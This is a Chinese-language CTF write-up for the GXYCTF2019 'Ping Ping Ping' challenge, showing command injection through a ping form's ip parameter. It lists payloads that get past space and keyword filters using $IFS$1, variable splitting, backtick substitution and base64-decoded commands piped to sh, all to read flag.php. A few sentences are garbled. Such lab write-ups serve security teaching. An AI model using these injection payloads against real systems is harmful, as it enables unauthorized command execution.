[GXYCTF2019]Ping Ping Ping

0 阅读1分钟

探测

发现可以执行其他命令/?ip=127.0.0.1|ls

1771215357423.png

尝试读取flag.php

/?ip=127.0.0.1|cat flag.php1771218679052.png

给了提示fu*k your space!,显然空格被加入黑名单了,尝试其他代表空格的字符

经测试$IFS$1成功,其中的1可以使用其他数字或@均可

$IFS是shell的内部字段分隔符变量,默认包含空格、制表符等空白字符。是位置参数,通常未设置时为空,尝试cat`*`是位置参数,通常未设置时为空,尝试`|catIFS$1flag.php`1771218982392.png

flag也不能包含,查看index.php1771219202876.png

发现?>显示了而<?php未显示,查看网页源代码1771219374926.png

得知只要有*f.*l.*a.*g.*,就过不了,将"f""l""a""g"顺序打乱,用一个变量表示其中的字母,同时为了让服务器正确识别,应指代lag.phplagagg

构造payload

/?ip=127.0.0.1;a=lag;cat$IFS$1f$a.php1771220710864.png

当前目录就包含flag.php,不一定指定flag.php

/?ip=|cat$IFS$1`ls`
/?ip=|ls|xargs$IFS$1cat

1771222413531.png

也可使用编码绕过

/?ip=|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh #不能出现bash,故用sh
/?ip=|cat$IFS$1`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`
/?ip=|cat$IFS$1`echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d`

1771221542347.png

借鉴:[GXYCTF2019]Ping Ping Ping 1【文件执行漏洞】 - 知乎